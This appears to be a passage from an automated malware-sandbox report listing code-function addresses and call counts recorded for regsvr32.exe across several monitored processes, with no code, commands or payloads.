Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F6DC	4_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800026DC	4_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002ADC	4_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002ACE8	4_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800150F0	4_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E2F4	4_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016AF4	4_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DEF4	4_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001DEFC	4_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012500	4_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006308	4_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001370C	4_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A10C	4_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028D10	4_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020118	4_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004B18	4_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A524	4_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015F24	4_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F328	4_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002D28	4_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E130	4_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029134	4_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008134	4_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021738	4_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002AF38	4_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022140	4_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028348	4_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DB4C	4_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014F50	4_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B350	4_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006954	4_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F554	4_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002975C	4_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002B564	4_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012168	4_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013568	4_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024370	4_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008370	4_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015774	4_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012378	4_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019178	4_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025180	4_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001980	4_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021588	4_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A988	4_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018190	4_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013994	4_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026B98	4_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028998	4_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001CF9C	4_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000359C	4_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001EBA0	4_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800061A0	4_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135A6	4_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016DA8	4_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800059AC	4_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000D7AC	4_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800053B0	4_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135B4	4_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001C1B8	4_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015BB8	4_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800025B8	4_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800207BC	4_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800085BC	4_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800015C0	4_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000FFC0	4_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800295C8	4_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800229CC	4_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E5D4	4_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A5D8	4_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800173DC	4_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018BDC	4_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800261E0	4_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7521964	5_2_000007FEF7521964
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF752CC38	5_2_000007FEF752CC38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7530720	5_2_000007FEF7530720
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF752FDD0	5_2_000007FEF752FDD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF752C5D8	5_2_000007FEF752C5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF752EDCC	5_2_000007FEF752EDCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF752C9FC	5_2_000007FEF752C9FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_001C0000	5_2_001C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180005C74	5_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002ACE8	5_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000359C	5_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E99C	5_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019628	5_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025A9D	5_2_0000000180025A9D
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B7B2	5_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180009408	5_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023C14	5_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006414	5_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002582C	5_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B834	5_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000403C	5_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021444	5_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012044	5_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016054	5_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001705C	5_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001870	5_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F878	5_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014484	5_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015494	5_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BC98	5_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008C9C	5_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800078A4	5_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F0A8	5_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E4AC	5_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800048B0	5_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001ACB4	5_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800090B4	5_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800270C0	5_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800024C0	5_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800280C8	5_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800050D4	5_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800234D8	5_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800150F0	5_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012500	5_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024104	5_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A10C	5_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028D10	5_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020118	5_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A524	5_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002D28	5_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E130	5_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029134	5_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008134	5_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022140	5_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006954	5_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F554	5_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B564	5_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012168	5_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013568	5_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024570	5_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019178	5_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025180	5_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001980	5_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021588	5_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A988	5_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018190	5_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013994	5_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028998	5_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800061A0	5_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135A6	5_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016DA8	5_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800059AC	5_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135B4	5_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001C1B8	5_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800025B8	5_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800085BC	5_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800015C0	5_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800295C8	5_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800229CC	5_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E5D4	5_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A5D8	5_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800261E0	5_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800079EC	5_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023624	5_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018628	5_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017E2C	5_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017638	5_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004E3C	5_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020E40	5_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015A64	5_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015264	5_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A26C	5_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007678	5_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001667C	5_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012680	5_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001E88	5_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000968C	5_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022290	5_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026A90	5_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000529C	5_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020AA0	5_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022AAC	5_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007EB4	5_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800162BC	5_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800252C0	5_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001AEC8	5_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F6DC	5_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800026DC	5_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002ADC	5_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E2F4	5_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016AF4	5_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DEF4	5_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001DEFC	5_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006308	5_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001370C	5_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004B18	5_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015F24	5_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006B24	5_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F328	5_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021738	5_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002AF38	5_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028348	5_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DB4C	5_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014F50	5_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B350	5_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A758	5_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002975C	5_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024370	5_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008370	5_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015774	5_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012378	5_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026B98	5_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CF9C	5_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001EBA0	5_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B3A4	5_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D7AC	5_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800053B0	5_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015BB8	5_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800207BC	5_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FFC0	5_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800173DC	5_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018BDC	5_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF91912B0	9_2_000007FEF91912B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9195E01	9_2_000007FEF9195E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9196850	9_2_000007FEF9196850
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9195CAD	9_2_000007FEF9195CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF91953FB	9_2_000007FEF91953FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF919443C	9_2_000007FEF919443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9194A70	9_2_000007FEF9194A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00130000	9_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180005C74	9_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002ACE8	9_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180020118	9_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000359C	9_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E99C	9_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180019628	9_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180025A4C	9_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B7B2	9_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180009408	9_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180023C14	9_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006414	9_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002582C	9_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000B834	9_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000403C	9_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180021444	9_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012044	9_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180016054	9_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001705C	9_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180001870	9_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001F878	9_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180014484	9_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180015494	9_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000BC98	9_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180008C9C	9_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800078A4	9_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001F0A8	9_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001E4AC	9_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800048B0	9_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001ACB4	9_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800090B4	9_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800270C0	9_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800024C0	9_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800280C8	9_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800050D4	9_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800234D8	9_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800150F0	9_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012500	9_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180024104	9_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A10C	9_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028D10	9_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A524	9_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180002D28	9_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E130	9_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180029134	9_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180008134	9_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180022140	9_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006954	9_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000F554	9_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B564	9_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012168	9_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013568	9_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180024570	9_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180019178	9_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180025180	9_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180001980	9_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180021588	9_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A988	9_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180018190	9_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013994	9_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028998	9_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800061A0	9_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800135A6	9_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180016DA8	9_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800059AC	9_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800135B4	9_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001C1B8	9_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800025B8	9_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800085BC	9_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800015C0	9_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800295C8	9_2_00000001800295C8

Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9197FF0 appears 31 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF9D2B3B0 appears 148 times
Source: C:\Windows\System32\regsvr32.exe	Code function: String function: 000007FEF919BD70 appears 113 times
